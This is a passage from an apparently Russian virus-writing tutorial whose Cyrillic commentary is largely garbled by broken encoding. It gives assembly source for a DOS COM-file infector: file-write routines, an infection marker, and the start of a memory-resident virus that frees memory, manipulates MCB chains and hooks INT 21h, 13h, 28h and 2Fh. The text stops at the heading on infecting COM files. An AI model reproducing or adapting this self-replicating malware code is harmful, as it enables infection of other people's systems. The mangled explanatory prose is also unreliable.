                                      ;⢨ ४⨢
                                      ;ORG 110h ...
	       mov byte ptr add_to_ds,al
                                      ;४饥
	       mov byte ptr add_to_ds+1,ah
                                      ;᫮  !

	       mov ax,4200h           ;⠭ 㪠-
	       xor cx,cx              ;⥫  -
	       dec si                 ; 
	       mov dx,si              ;䠩 ...
	       int 21h
	       jnc read_last
	       jmp close              ;訡 !

    read_last:                        ; ⠥ 
	       mov ah,3fh             ;  祩
               mov cx,1               ; " last " ...
	       lea dx,last
	       int 21h
	       jc close	              ;訡 !

	       cmp last,'7'           ;" last " =" 7 "
	       jne write_vir          ; - 
	       jmp find_next          ;- 饬 -
                                      ; 䠩 ...

    write_vir: mov ax,4200h           ;⠭  㪠-
	       xor cx,cx              ;⥫  
	       mov dx,di              ;䠩 ...
	       int 21h
               jc close               ; 訡 -
	                              ;஥ 䠩
               mov ah,40h             ;襬   䠩
               mov cx,vir_len         ;  -
               lea dx,vir             ; vir_len
               int 21h
               jc close	              ; 訡 -
	                              ;஥ 䠩
    write_bytes:
	       mov ax,4200h           ;⠭  㪠-
	       xor cx,cx              ;⥫  -
	       xor dx,dx              ; 䠩
	       int 21h
	       jc close               ; 訡 -
	                              ;஥ 䠩

               mov ah,40h             ;襬   䠩
               mov cx,3               ;  -
               lea dx,new_bytes       ; ( 
               int 21h                ;室 ) ...

    close:     mov ah,3eh             ;஥   -
               int 21h	              ; 䠩 ...

    restore_dta:
	       mov cx,80h             ; DTA -
                                      ;128  ...
	       mov bx,80h             ;饭  DTA
	       lea si,old_dta         ; ᨢ
    dta_fresh:
	       mov al,ds:[si]         ;⠥   -
                                      ;ᨢ "old_dta"
	       mov byte ptr cs:[bx],al;   ७-
                                      ;ᨬ   DTA
	       inc bx                 ;  
	       inc si                 ;
	       loop dta_fresh         ; 128 ࠧ

	       pop ds                 ;⠭
                                      ;ᯮ祭 DS
	       push cs                ;ᥬ  ⥪
                                      ;ॣ CS
	       db 0b8h                ; 
    jump:      dw 100h                ;mov ax,100h
	       push ax                ;ᥬ  ⥪
                                      ;᫮ 100h
	       retf                   ;। ࠢ-
                                      ;  -
                                      ;  ...

    ;\*Data area ...

    old_bytes db   0e9h               ;室 
                                      ;  ࠦ-
              dw   vir_len + 0dh      ; ணࠬ

    old_dta   db   128 dup (0)        ; 
                                      ;࠭ 室
                                      ;DTA ணࠬ
    maska     db   '*.com',0          ;᪠  -
                                      ; 䠩 ...
    fn        db   12 dup (' '),0     ; 頥
                                      ; 䠩 --
                                      ; ...
    new_bytes db   0e9h               ;  -
              db   00h	              ;  
              db   00h	              ;䠩 ...

    last      db   0                  ;祩  -
                                      ; 
              db   '7'                ;᫥ 
                                      ;  䠩

    vir_len   equ   $-vir             ; ᭮
                                      ; ...

    prg_end:   mov ah,4ch             ;襭  -
               INT 21H                ;᪠饩 ண-
                                      ;ࠬ ...

              db '7'                  ; ⮣  ᨬ-
                                      ;   -
                                      ;ࠧ  ᠬ
                                      ;ᥡ ...

    prg ends                          ; ASM - ண-
    end start                         ;ࠬ  -
                                      ; ਬ୮
                                      ;⠪ .

    ᫨    ⠫ [ 3 ], ⮫쪮  -
     ணࠬ    . ண
    ,     ᠭ "  ⨢ "  ⮩ 
    饬 ᮢᥬ 宩 . "  "  -
    ⢥ ࠡ⠭,ࠢ 祭 訡
     .ᬮ   㯮  㤭 -
      ⮬.   ஭  ࠡ ..
    猪 ⥬ 稫  ࠧ⨥.


                     1.19 ਨ

    ,  ࠧࠡ⠫, ᪨ ணࠬ
     ࠦ   ⮬ ⠫,  ண 
    饭 ࠦ 䠩 .⭮,  ⮬ 砥
    让 ࠧ   .  - ,
       ⮣   ᫮,   ᫥騥 
    ணࠬ   䥪⨢묨 .  - ,
     ࠧࠡ⪠  ᫥ 楫  -
     ਥ ⮢  ணࠬ.஬
    ⮣, १ୠ  ᫮ 猪 㣭㫠 
    ⥫ .


                   1.20 ⠭ 

     ஢ન  ⢨ ࠧࠡ⠭  ண-
       ᪮   ⤥ 䠩 ( -
    筮, ⮫쪮 ᫨    ᪥  ⥪⮬ -
     ). ᪮  ⠫  ᮬ ᪮-
     COM - 䠩.⪮  室  ⥪  
     祭 COM - 䠩,ᮤঠ騩   ᥡ
     .஡  樥   ,
    ⠪   ணࠬ  ⥫쭮  ஢ . -
    ,     ࠦ 䠩 .஡
     ࠦ ணࠬ  ࠢ -
    稪   ⮬᪮ ०., , -
     ࠦ ணࠬ   DOCTOR WEB .


             2 .  
                     


          2.1 ⨥ १⭮ ( TSR ) 

    묨 뢠 ,  ᫥ -
     ࠦ ணࠬ  ᢮   -
    ⨢   .    "" ࠦ
    䠩  室    祭 ᥣ ᥠ
    ࠡ .
      筮  ࠧ १-
      ࠭ ॥ . ᮧ
    ⠪   ⠪  . ஬ ⮣,१
     ணࠬ থ  ᥢ  ᡮ
      䫨⮢  ⠭  -
      ணࠬ ᯥ祭 .  ᬮ   
    㤭,  騥  ࠧࠡ⪥ १
    ᮢ,   뫮 ᮧ  ⢮ .
     ।  ⥫   ᪠-
      ਥ ᮧ TSR - ᮢ,  ࠦ-
     COM - 䠩 .஬ ⮣,  ᢥ  ᭮
    ஡,  묨 室   
    ࠧࠡ⪥ .


       2.2 ᪮쪮 ᫮  १ ணࠬ

    ,୮, ,   १ -
    ࠬ . ⮬  㭪   ਬ   
    ࣠樨  㭪樮஢ .
    묨 뢠 ணࠬ, ᫥ ᢮-
      襭     ⨢
     㯫   -  ᮡ⨩    ᫨-
    ⥫쭮 ⥬ . ᮡﬨ  , -
    ਬ, ⨥ " 祩 " 樨 ,  -
      権  ᪠  .  . 
      砥  ணࠬ  砥  ࠢ 
       ᫮ .
     १ ணࠬ  ,  
     ,     ᥪ権 - ᥪ樨
    樠樨  ᮡ⢥ १⭮ .-
    ⭠ ,  ࠢ, ⮨     
    ᪮쪨 ணࠬ - ࠡ稪 뢠 
    室    ६ ᥠ ࠡ  -
     . ணࠬ   
    ᮡ ⥬ ࠡ稪  ⮫쪮 㦨  
    .⢥, ⮣,⮡ १⭠
     稫 ࠢ, 室  -
    ⢥騥   ⠡ ஢  뢠-
      窨 室   ⠭ ࠡ-
    稪. 㭪  믮 ᥪ 樠樨,
     ᥣ 믮   ᪥  ணࠬ
    ࢮ .
    ᫥ 墠 뢠,   ࠡ-
    뢠 १⭠ , ᥪ 樠樨 -
    蠥 ணࠬ, ᯮ  ⮩ 楫  -
      㭪 १⭮ 襭 MS DOS .
     १ १⭠  ⠥   
    ⨢  , ।ᬮ७  ஬
    ணࠬ .  樠樨    ࠡ
      ॡ,⮬ ⠢   -
      ᫥,    " ࠥ "  MS DOS  
    砥 室 .


             2.3  ࠡ १⭮
                        COM - 

    ᬮਬ    ⬮ ࠡ -
    ⭮ COM -  .
     ᢮  १  ⫨砥  -
    筮 १⭮ ணࠬ ⮫쪮 ⥬,   ࠧ-
     ᠬ  ᥡ, ᨬ   -
    ⥫.,ந    ⮩  -
    ,  ன   TSR - ணࠬ .
    ᭠砫 ᭨,   ᥪ 樠-
    樨    १⭠  .
    ⠪ :
     樠樨 믮 ᫥騥 ⢨:

    1. 砥 ࠢ  ᪥ ࠦ -
    ࠬ .

    2. ஢, ⠭     १⭠
      .

    3. ⠭       室
      a ⮩ ணࠬ .

    4. ᫨ १⭠   ⠭,믮-
     ᫥騥 ⢨ :

       a.) ᪨ ᢮   -
           筮  ࠧ饭  ࠧ .

       .)        -
            .

       .)  ⠡  ஢ 뢠 ᮮ⢥-
           騥   窠 室  -
            ࠡ稪 .

       .) 믮  室   砫  ࠦ
           ணࠬ (   CS : 100h ).᫥ -
            ணࠬ 믮,  筮 .

     ⮬ 砥,  ᫨ १⭠     㦥
    室  ,   ।  ࠢ
    ࠦ ணࠬ .

    ⭠  믮 ᫥騥 ⢨ :

    1.    맮  ⥬  뢠
    INT 21h  楫  室    
    ⠫  ᬥ ⥪饣 ᪠ .

    2. ᫨ 㦨 ᬥ ⥪饣 ᪠  -
    , १⭠   :

       .) ࠭ 室 ﭨ ᫨⥫쭮
           ⥬ .

       .)   ᪥ 室騩 COM - 䠩 .

       .)  ⥫    ⮣ 䠩 .

       .)       ࠦ -
           ࠬ   室    ,
           ࠭ ।⥫쭮 室   
            ᢮  .

       .) ⠭ 室 ﭨ  ᫨-
           쭮 ⥬  ।  ࠢ .

    ᫨   㤥  ⥪騩 ⮫  
    , , 祢, 祣 ࠧ  ᬮ .

      㦥 ⨫, ࠦ 䠩  
    ᪫⥫쭮 १⭠  !  樠-
    樨 㦭  ⮫쪮  ⠫樨     -
     .஬ ⮣,  ⫨稥  筮 १⭮
    ணࠬ,     ᥪ 뢠  -
        १⭮   .   -
        ࠦ 䠩     쥧
    㤭 .
     ᪠  ⮬ 㭪   ᤥ  -
      ⮬, ᪮쪮 १   
    ஥ ᫮ 筮 .  ⥬,    -
    ᠭ   祣  ᪮,      㤠
    ࠧ  ᫥饩 ணࠬ .


                  2.4  

     ࠧࠡ⪨  ,   ࠭, 㤥  -
    짮 COM ଠ .
    ⢥, १⭮   ᯮ짮-
       , ᮧ     ।饩
     .⮬   ࠡ  ⠭  
    㤥,   ⮣ ᤥ 業   -
    , ॠ  ணࠬ .
    ⠪, 筥 :

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    start:     jmp vir                ;। ࠢ-
                                      ; ᭮
                                      ; ...
	       org 110h

    ਢ    ४⨢ 믮    
    ᠬ 㭪樨,    ,  ᯮ짮
      ᮧ १⭮ ᭮  ணࠬ-
     .


                 2.5  稭 ࠡ

    ᪮쪮   ।, ⬥⨬,    
    㤥 ࠡ ⠪ :

       1. ࠡ稪  뢠  Int 21h  ᫥
          ᬥ ஬ ⥪饣 ⠫   -
          . ᫨  짮⥫ ⢨⥫쭮  ᬥ
            ⠫, ६ TG_INFECT -
          ⠭  .
       2. ࠡ稪 뢠 Int 28h 뢠 DOS
          直 ࠧ,  ,   ᠭ,
            ⥬  㭪, ࠡ騬
           䠩. ⮬ ⢥   
            ᪠  ࠦ 䠩.室
           ⮣ 楤 ࠡ⪨ Int 28h  ஢-
            祭  TG_INFECT,   ᫨  ࠢ
          , 믮   ࠦ 䠩.

    --------------------------------------------------

    ᫥  室   " vir " 稭 ᯮ-
     ᭮ ணࠬ .⮬ த :
    ( ⢥    砫 ࠡ稪  -
     Int 28h )

    vir:       db 0ebh                ;90h -  १-
               db push_len            ;90h   ⭮
                                      ;      ࠡ .

               pushf                  ;襬 䫠
                                      ; ⥪ ...
               cmp cs:tg_infect-110h,1;⨢-
                                      ; ?
               je cs:vir_2            ; ...
               call dword ptr cs:old_28h - 110h
                                      ; - 맮
                                      ; ࠡ-
                                      ;稪 INT 28h,
                                      ;⮡  ⮯
                                      ;㣨 TSR ...
               iret

    vir_2:     popf                   ;४砥
                                      ;⥪  TSR -
                                      ;ᯮ 
               mov cs:ss_save-110h,ss ;ᥡ ...
               mov cs:sp_save-110h,sp
               mov cs:help_word - 110h,cs
               mov ss,cs:help_word - 110h
               mov sp,to_newstack + 136
               mov cs:tg_infect - 110h,0
               pushf                  ;뢠 
               db 9ah                 ;ࠡ稪
    old_28h    dw 0                   ;INT 28h ...
    old_28h_2  dw 0

       ,ᠭ  設
     ࠧ  ⪮ " vir " .   ஡㥬
    ࠧ, 祬  ॡ .
      ,     १ 
       ⥩ . ⮬ ᥪ 樠-
    樨 ᯮ ⮫쪮  ࠭⭮ ( १-
    ⭮ ) ०, १⭠  - ⮫쪮  १-
    ⭮.

    
               db 0ebh                ;90h -  १-
               db push_len            ;90h   ⭮
                                      ;      ࠡ .

    ࠥ  ஫ " ४⥫ "  ࠭  
    १  . ࠦ  뢠
     䠩  室,   ᪥ -
      䠩 । ࠢ  " push_len "
     ।,    ࠧ  稭 ᥪ -
    樠樨 .᫨   믮  -
       १⭮ ०,  . .   
    稫 ࠢ, 室  , ਢ
     ᠭ  .⮡ ⠪  ந室-
    ,  ᥪ 樠樨  ⠭  ᭮
        뢠 ࠧ   ⪮ " vir "
       " NOP ",    : 9090h .
     ਢ   ⭮  १-
    ⭮  .᫥  䫠  ⥪   -
     ﭨ ६ " tg_infect ",   ᫨
     ࠢ " 1 ", 室  ⪥ " vir_2 " .᫨
     " tg_infect " ࠢ " 0 ",   -
      ࠡ稪 INT 28h  ⤠ ࠢ
    ࢠ .   ᬮਬ, 
    ନ 祭 ६ " tg_infect "  .
    ᪮ ਢ ࠡ稪  ⨢  ࠡ⠥
     ⥪,  ।ᬮ   ᮡ⢥-
     ⥪ . ⮬ ࠧ  ⪮ " vir_2 " -
    襬 , ४騥 ⥪  ᯥ樠 -
       " newstack "  :

                                      ;४砥
                                      ;⥪  TSR -
                                      ;ᯮ 
               mov cs:ss_save-110h,ss ;ᥡ ...
               mov cs:sp_save-110h,sp
               mov cs:help_word - 110h,cs
               mov ss,cs:help_word - 110h
               mov sp,to_newstack + 136
               mov cs:tg_infect - 110h,0

    ᫥ 襬 ,  뢠  " tg_in-
    fect "   .⨬  ⨬    -
    ୮ 宦 .
     室 맢    ࠡ稪  INT
    28h,    㤥 " ⮯ " 㣨 १-
     ணࠬ,   墠뢠    
    뢠 .⮬ 襬 :

               pushf                  ;뢠 
               db 9ah                 ;ࠡ稪
    old_28h    dw 0                   ;INT 28h ...
    old_28h_2  dw 0

    ࠡ稪  뢠   楤.
     " CALL " ᠭ    設 ,
      " old_28h "  " old_28h_2 "  -
    樥 樠樨  ⠭   .

    *
         ४祭 ⥪ .
       ⥬,   祥  " ss_
     save "," sp_save ", " tg_infect "  " help_word "
     ⭨ ᫮ 110h .   ⮬,    -
     樨 室 ⥪  COM - ணࠬ  
     祥   室  ⮣,    DS
     㪠뢠  砫  PSP .஬  ⮣,   ᠬ
     砫   ᠫ ४⨢ " org 110h ".
        㪠 祩    -
     頥  १⭮ ०,    ⭮-
     쭮 CS . CS 㪠뢠 ண  砫 ࠡ-
     稪,    砫 PSP,   뫮  -
     樨 ! ⮬ ⭮⥫  祥 -
      㬥  110h,      ᤥ . 
     ਥ 㤥 ᯮ짮  ᪮쪮 ࠧ  -
     ஥  ࠡ稪 뢠,⮬
      㤥 ,  祬  ᭮ .


             2.6 ࠭塞 ॣ 

     ᠬ 砫 ࠡ १⭠ ணࠬ 易-
     ࠭ 祭 ॣ஢ ,  -
     뫨 ।  ࢠ ணࠬ,   
    襭 ࠡ - ⠭  祭 .-
     ⮣  ᤥ,ࢠ ணࠬ  
    ᬮ ଠ쭮 믮 , ਢ 
    ᡮ ᫨⥫쭮  . ⮬ ᥩ  
    ࠭  ॣ, ᯮ㥬 ᮬ, -
     :

               pushf                  ;࠭  -
               push ax                ; ॣ ...
               push bx
               push cx
               push dx
               push si
               push di
               push bp
               push ds
               push es
               jmp cs:infect          ;३  -
                                      ; 䠩

    ⨬,  祭 ॣ஢ 뢠 㦥 
     " newstack ",    ⥪ ࢠ ண-
    ࠬ .祭 SS  SP ࠭  ६ :
    " ss_save "  " sp_save ",  ⮬  ⥪  -
     . " jmp cs:infect " ⠪ ⭮
     १⭮ ᥪ樨  । ࠢ "ࠧ-
    "  ᭮  .


             2.7  ᥪ 樠樨

     ⥯   ⮢ ᥪ樨 -
    樨 襩 ணࠬ .᪮  ᥪ -
      ᪥ ࠦ 䠩,  믮
    ४ ॣ DS ( . . 1,  1.6 ) :

               push_len equ $-vir - 2

               mov ax,ds              ;४㥬 DS
                                      ; १-
                                      ; ࠡ ...
               db 05h                 ; 
    add_to_ds: dw 0                   ;" ADD AX,00h "
	       mov ds,ax

    ⠭ " push_len " ᮤন ᬥ饭  砫
      砫 ᥪ樨 樠樨 .  
    ᫮ 뢠  ⪮ " vir " (. . 2.5).
     ᫥ ஢  稥     
    (. . 2.3), ⮬ :

               mov ax,0f000h          ;஢ਬ, 
               mov bx,1997h           ;  ,
               int 2fh                ;   ...
               jc fresh_bytes

       	       cmp al,0ffh
      	       jne free_mem           ; -
                                      ;⠭

      ஢ન ᯮ ⠪ 뢠  -
    ᭮ 뢠 MS DOS, ᯥ樠쭮  ।-
    祭  ᯮ짮  १ ணࠬ.
     ॣ AX  BX   ⨬ ,    
    ॠ  ࠡ稪 ⮣ 뢠,  
    믮  " INT 2Fh " .᫨   -
      , ࠡ稪 ஠ -
    祭 AX  BX . ᫨  ࠢ " 0f000h "  " 19-
    97h ", ୥  AL ᫮ 0ffh, ஥  -
      ᥪ 樠樨 .
    ᫨    㦥  ⠫஢, 室:
    ⠭    室  -
     ࠦ ணࠬ  (. . 2.3) :

    fresh_bytes:                      ;⠭
	       mov al,old_bytes       ;  -
                                      ; ࠦ
	       mov cs:[100h],al       ;ணࠬ ...
	       mov al,old_bytes+1
	       mov cs:[101h],al
	       mov al,old_bytes+2
	       mov cs:[102h],al

    ⠭ 祭 ᥣ ॣ஢:

               mov ax,cs              ;⠭
                                      ;ᥣ
               mov es,ax              ;ॣ ...
               mov start_cs,ax
               mov ds,ax

     믮 室  砫 ⮩ ணࠬ :

               jmp cl_conv_1          ;। ࠢ-
    cl_conv_1: db 0eah                ; ࠦ-
               dw 100h                ; ணࠬ
    start_cs   dw 0

        " jmp cl_conv_1 " 頥  ।
     ( . . 1, . 1.7 ) .    -
        ࠡ⠫   ४-
    ⭮ .
    ᫨       , 㦭 ⠭
       . ࠡ 믮 ,  -
    ᠭ  ⪮ " free_mem " .


               2.8 訢  

      㦥 ,१⭠ ணࠬ  -
    室    祭 ᥠ ࠡ  -
    .⮬ ᥪ 樠樨    "-
    " MS DOS 뤥  㧪 १⭮ -
     ᮮ⢥騩   .
     楫  ⮤,  
     ᯮ殮 TSR - ணࠬ   -
    筮 ࠧ .ਬ,   १
    ணࠬ  㭪 믮 MS DOS  
    १⭮ 襭 . ⮬  ,
    뤥 TSR - ணࠬ   ᪥,  
    ᥪ  ࠧ १⭮    ⠥
    ⮩ ᫥ 襭 ணࠬ . ࠧ,
    १⭠   ࠧ頥   ⮬ ,  㤠
     뫠 㦥  ணࠬ.
     ᮦ, ᯮ짮 ⠪ ⮤   
    ஦  楫    ஡ . ਬ    ⮬
    砥 室 뢠     -
    ,     䠩 - ,   ᪥
    ࠦ ணࠬ  㤥 " ᠤ "   -
     楫 .  㣨 㤭,  ८
     祭 . 砩 ⠪ ਥ 
    ᠭ ᮢ ਬ । .
    㣮 ᯮᮡ ⮨  ᯮ짮    ᪠
    室饣   ⠪ 뢠 MCB - -
     ( ⮬  ਬ    ஡ )  . 
    ⮬   ⥬  ᪠஢ 楯窨 -
     ࠢ    ( Memory Control Blocks )
     ᢮  室饣  ࠧ,  ࠧ-
        ,    筮 ᮮ-
       ᪮쪮 ॢ蠥  , 
       ᮧ  ᢮ .᭮
    ⮪  ⮤ ⮨  ⮬   MCB -
      㬥஢  ன  MS
    DOS,      ᯮ짮 㦭  ⮢ 
    ⮬, ணࠬ 㤥 ࠡ    設
      㤥 ࠡ  㣮.  ⠪ ⭮
     ࠧ  樮 ⥬ .஬ ⮣,
    祭 ᫮ ந 䥪⨢  ॠ-
    樨 ⮣ ⮤ .      -
    뢠       室騩    ࠧࠬ
    ,    訥  ⨢ , -
     㧪  ணࠬ 㤥  -
     .
    ⨩  ᯮᮡ  砥  ⮬,    
          ४樨
    MCB - . ⮪   ⮨  ᫥饬:
    "६ " ,ॠ饣 ⠪  ,
    १砩       ⥭ᨢ  -
    짮  ⨢   . 祬 ""
    ᭮ ணࠬ   ⮯業⭮ ⭮-
     ਢ   ᠭ .   ⮤
    ⫨砥 ⮩ ॠ樨    㣨
    ⮨, ਢ  ⮪  
    ࠪ᪮  ᯮ짮  .
    ⢥ ᯮᮡ ⮨  ᯮ짮 㭪権,
    ॠ ࠢ .ᯮ ,
    ந 䥪⨢  ४⭮ ࠡ騩  -
    ࠬ ,   㤥    ࠡ  
    ࠧ  設    묨 ﬨ  樮
    ⥬ . ⮬  ॠ 쬠    
    ⭠ . ⮬  ਬ   ᯮᮡ :

    free_mem:  mov ah,4ah             ;। ꥬ
                                      ;㯭 -
                                      ; ...
               mov bx,0ffffh          ; -
               int 21h                ; 祭
                                      ;(0ffffh) !
                                      ;訡 㤥
                                      ;易⥫쭮, 
                                      ;஢ 
                                      ;稥
                                      ; 㦭 !
    ; _______________________________________________
    ;|  ᢮  ,⮡  뫮|
    ;|    १   ...  |
    ;|_______________________________________________|

               sub bx,vir_par + 2     ;⠢ 
                                      ; 2 ࠣ
                                      ;, 祬
                                      ; ᠬ 
               mov ah,4ah	      ; ⠫쭠 -
               int 21h                ; 㤥
               jc fresh_bytes         ; ...

               mov ah,48h             ;ᨬ DOS
                                      ;⤠ ᢮-
                                      ;   .
               mov bx,vir_par + 1     ;  
               int 21h                ;ࠣ ...
               jc fresh_bytes         ;訡 !

     ਢ ࠣ ᯮ짮 㭪樨 :

    4Ah -  ࠧ  ,  ⠪
    48h - 뤥   .

      ᯮ짮      -
     1.
     襯ਢ  쬠   -
     ᭥  ॡ .⮨  , 
     㧪 ᭮  뤥    
     ᠬ "  " ᢮ ⨢ ,
      易⥫  饣 -
    設⢠  ணࠬ .


             2.9   "  "

     ᮦ,࠭  ᯮᮡ ᪠ ᢮-
          ⮪ .
    , ୮, ,  襭 ணࠬ DOS
    ᢮  ,   ணࠬ -
     .஬ ⮣, ᢮ ⠪  ,
     뫨 ।  ணࠬ    -
    ᠬ .
    ।,  ⮢  ࠦ ண-
    ,   ᠭ ࠭ 㭪権 MS DOS  -
    襫 室騩     ᠫ    ᢮
    ,  ।⥫쭮 ९ᠢ      
     뢠 .᫥ ⮣  ।  ࠢ-
     ࠦ ணࠬ . ⢥,  -
        ।  ࠢ DOS . 
      ⮬ 砥 ,   
    , 㤥 ᢮,   ࢮ  室
      㤥 㭨⮦,⮡    -
      ଠ ! १ ந -
    ⠫쭮 " ᠭ "  .
    祢, ⮣  , ᫨ , -
     ᮬ, 㤥 ⠢ ⮩  祭
    ᥣ ᥠ ࠡ,  㤥 ᢮ ᫥
    襭 ࠦ ணࠬ .
      ᯥਬ,  ⮩ 楫  筮
     MCB,।饬 뤥  ᭮ -
     , ᤥ । . ᭠-
       ᪠   Memory Control
    Blocks ( MCB )   ᯮ짮 .
     ⮣, ⮡ ᫥   ᯮ짮 ,
     MS DOS ।ᬮ७ ᯥ樠쭠  - ⠪
    뢠  ࠢ , MCB - .
       頥  DOS ।⢥  ।
      뤥塞   ,   ⥬
     ᯥ樠 ᯨ᮪ MCB - ,ᬠਢ
      믮    ⢨,  易-
      । .
    MCB 易⥫쭮 稭  ࠭ ࠣ  
    ᥣ  楫 ࠣ.筮,MS DOS -
       ⮬,   ᯮ  
    ࠢ .   㪠뢠 ७-
     ६ DOS,  祭  ⮯ -
    ன ⭮ ⮫쪮 樮 ⥬ .
    ᬮਬ ⥯  MCB -  .⠪ :

     0 -     ᮤন  5Ah,᫨   -
                  ᫥  楯窥 MCB,  
                 4Dh -  ⨢ 砥 .

     1, 2 - ঠ PID  (Program IDentificator)
                 ணࠬ,  ன  DOS  뤥﫠
                 ,  , ᫨  ᢮ .

     3, 4 - ঠ ࠧ   ࠣ  .
                 騩  ᯮ   
                  : MCB_NEW = MCB_OLD + lenght +
                 + 1. MCB_NEW - ᥣ ,
                   ஬ ᯮ  ᫥騩
                 MCB, MCB_OLD - ᥣ   -
                 ᬠਢ MCB, lenght - ᮤন-
                  ⮢ 3, 4 ⮣  .

    ⠫     ᯮ 
     ᮤঠ   .  ⮨  ,
     ० ⮢ 1, 3  4 ਢ  뤠-
     ᮮ饭 :

       Memory Allocation Error
       System Halted

      " ᠭ "  .
     ⥯ ୥  襩 ணࠬ .
        ᯥਬ,  筮  
    MCB, ।饬 ᭮ ,   1  2 .
    祬  ᥣ       PID
     -   㦥 㦥      -
    ࠬ.⨬ ⨣   ⭮  
    .  ஡ 㧨 ᪮쪮
    TSR - ணࠬ   MCB     -
     1  2  PID  -  㣮  ணࠬ .
    ᫥ ⮣   Volkov Commander  ALT
     F5,   㢨 祭  䥪 .
       ⮬,   ᯮ짮 襯ਢ-
     ⮤ 室   ணࠬ,  PID
    ன   㤥 " ࠧ஢ ".
      ⠪ ,      
     . ⮬  祭 襩 ࠡ -
     PID 㦥   ணࠬ   襬
     MCB  ᥣ    DOS,
      : 0070h :

    ; _______________________________________________
    ;|  ᢮              |
    ;| ( ᥣ   AX ),                   |
    ;| 㦭      ...          |
    ;|_______________________________________________|

               xor di,di              ; 
               mov bx,ax              ;"" 
               dec bx                 ; ...
               mov word ptr cs:[2],bx
               mov es,bx
               mov bx,0070h
               mov es:[di+1],bx

    ।騩  ࠣ    ᥣ  
    뤥      ॣ AX.
    ਢ  ணࠬ  ப  祭  , 
       ࠡ  㦭.  ⮫쪮 ᪠-
    ,   䠪᪨ ⭨  DOS ᪮-
     ⮢ , ⮬ 室  ᪮४-
    ஢ PSP ணࠬ - ⥫ . -
    㬥  ࠭  ,뤥
    ணࠬ,  ᭮ . 
    稭 室  ᬥ饭 02h  砫 PSP.


             2.10 砥  뢠

    ⠪,  諨  ,      -
    樠樨 㤥 ஢  . ०
    祬 ⠫஢   , 室  -
      ⥬ ࠡ稪 뢠.
     㤥 뢠  ࠡ稪  ।  ( 
    ᫥ ) 믮 ᮡ⢥ ⢨   -
    ⪥ ⮣   뢠 .᫨ 室 -
    ࠡ稪    ࠢ, ᫨-
    쭠 ⥬ ਤ  ਩ ﭨ .
    ⮬ :

    ;_________________________________________________

               mov es,di              ;砥 -
                                      ; 뢠
               cli
               mov di,084h            ;Int 21h ...
               mov bx,es:[di]
               mov old_21h,bx
               mov bx,es:[di+2]
               mov old_21h_2,bx

               mov di,0bch            ;Int 2fh ...
               mov bx,es:[di]
               mov old_2fh,bx
               mov bx,es:[di+2]
               mov old_2fh_2,bx

               mov di,04ch            ;Int 13h ...
               mov bx,es:[di]
               mov old_13h,bx
               mov bx,es:[di+2]
               mov old_13h_2,bx

               mov di,0a0h            ;Int 28h ...
               mov bx,es:[di]
               mov old_28h,bx
               mov bx,es:[di+2]
               mov old_28h_2,bx
               sti

     ,   ।  ᮢ  ࠡ稪
     頥 ।⢥  ⠡  -
    ஢ 뢠. 樠樨 㤥 墠-
    뢠 뢠: Int 21h, Int 13h, Int 28h  Int
    2fh.᪮쪮   ࠧ६, 祬 ॡ-
     墠    ਢ ⥪ -
     ࠡ稪  뢠.


           2.11 㥬    

     ⠫ ६ ९    -
      ⮢   ࠡ  १⭮  ०-
     :

               mov word ptr vir,9090h ;⠢
               mov tg_infect,0        ;  १-
                                      ;⭮ ࠡ

               mov es,ax              ; 㥬 
               xor di,di              ; ...
               mov cx,vir_len
    prg_copy:  mov bl,byte ptr vir[di]
               mov byte ptr es:[di],bl
               inc di
               loop prg_copy

      ᠬ 砫 㦭      ६
    " tg_infect ", ⮡    ࠦ
    䠩,    ⮬   ., -
        ,     ᮡࠥ
    뢠  , ᫥    
    NOP,   9090h (  . 2.2 ) .
     ⥫       -
    , ᥣ  ண   ॣ AX.


          2.12 ⠭  뢠
                   ࠡ稪

     ⮢⥫ ⢨ 믮,   -
    쪮 ⠫   ⥬ ࠡ-
     뢠 Int 21h, Int 13h, Int 28h  Int 2fh
       ࠡ稪,᫥ 祣 -
     । ࠢ ࠦ ணࠬ .
     ᥩ  ᤥ :

               xor bx,bx              ;⠭
                                      ; -
	       mov es,bx              ;  -
               cli                    ; ࠡ稪
               mov di,084h
               mov word ptr es:[di],to_new_21h
               mov es:[di+2],ax       ; Int 21h

               mov di,0bch
               mov word ptr es:[di],to_new_2fh
               mov es:[di+2],ax       ; Int 2fh

	       mov di,04ch
               mov word ptr es:[di],to_new_13h
               mov es:[di+2],ax       ; Int 13h

	       mov di,0a0h
               mov word ptr es:[di],0
               mov es:[di+2],ax       ; Int 28h
               sti

               jmp fresh_bytes        ;⠭
                                      ;襭 ...

    䨪 ஢ 뢠  ᮡ -
       㦤 .   " jmp fresh_bytes "
    । ࠢ  ணࠬ ,믮騩
    ⠭ 室   ணࠬ - -
     .
     ࠧ,  ࠧࠡ⠫ ᥪ 樠樨
    襣  .  ⮬ ⠫ ६ ३  
    ᮧ १⭮ ᥪ樨 . ⠢訥 㭪
    ⮩   饭  ࠧࠡ⪥ १-
    ⭮  .


               2.13 襬 १ 

    砫 १⭮   ᮧ   㭪-
      (  . 2.5 ). ⥯  த,
     襬   "ࠧ"  ᭮  -
    ࠬ :

    infect:    push cs                ;DS = CS ...
               pop ds

               mov ax,ds              ;TSR - ४
               sub ax,11h             ;DS ...
               mov ds,ax

               cmp tg_13h,0           ;INT 13h
                                      ;믮 ?
               je cs:all_right        ; ...
               jmp cs:exit_zarasa     ; -  室

    ࠧ  ⪮ " infect "  ᠫ  -
     ४  ᮤন DS  ࠡ  -
    ⭮ ० .᫨ ⮣  ᤥ,   ⭮-
    ⥫   祩  ਤ 㬥-
      110h (  . 2.5 ).  ஢
    祭 ६ "tg_13h" .  ⮬, १-
       易⥫쭮  ࠦ  䠩,
    室  ,  ⮬  饭  
     १⭮ ०   . -
    , ⢥,  ந室  ⮫쪮   
    ,  㣨 ணࠬ  ࠡ
     ᪮ .᫨  ᫮  ᮡ,  -
      ணࠬ 䫨,  ਢ
      ᫥⢨ .ᮡ   ⭮
     ⥬ ,  設 ⠭ --
      ( ਬ,  SMARTDRIVE  HYPERDISK ) .
     ⮬ 砥   ⠪,    
    ஡     ६,   
    ⨬ !
     ஡   ६ "tg_
    13h" . ਭ 祭 " 1 ",    
    믮 饭,  祭 " 0 ", ᫨  
      饭   .  樠-
    樨 ६ ᯮ ᯥ樠 "䨫"
    뢠 Int 13h,  㤥 ᠭ  .
    ⠪, ᫨ " tg_13h " ࠢ " 1 ", 頥
    ࠢ ࢠ ணࠬ, ⨢ 砥
    ࠡ ᭮  த .


                 2.14 ࠦ COM - 䠩

     砥, ᫨  뢠 Int 13h  믮,
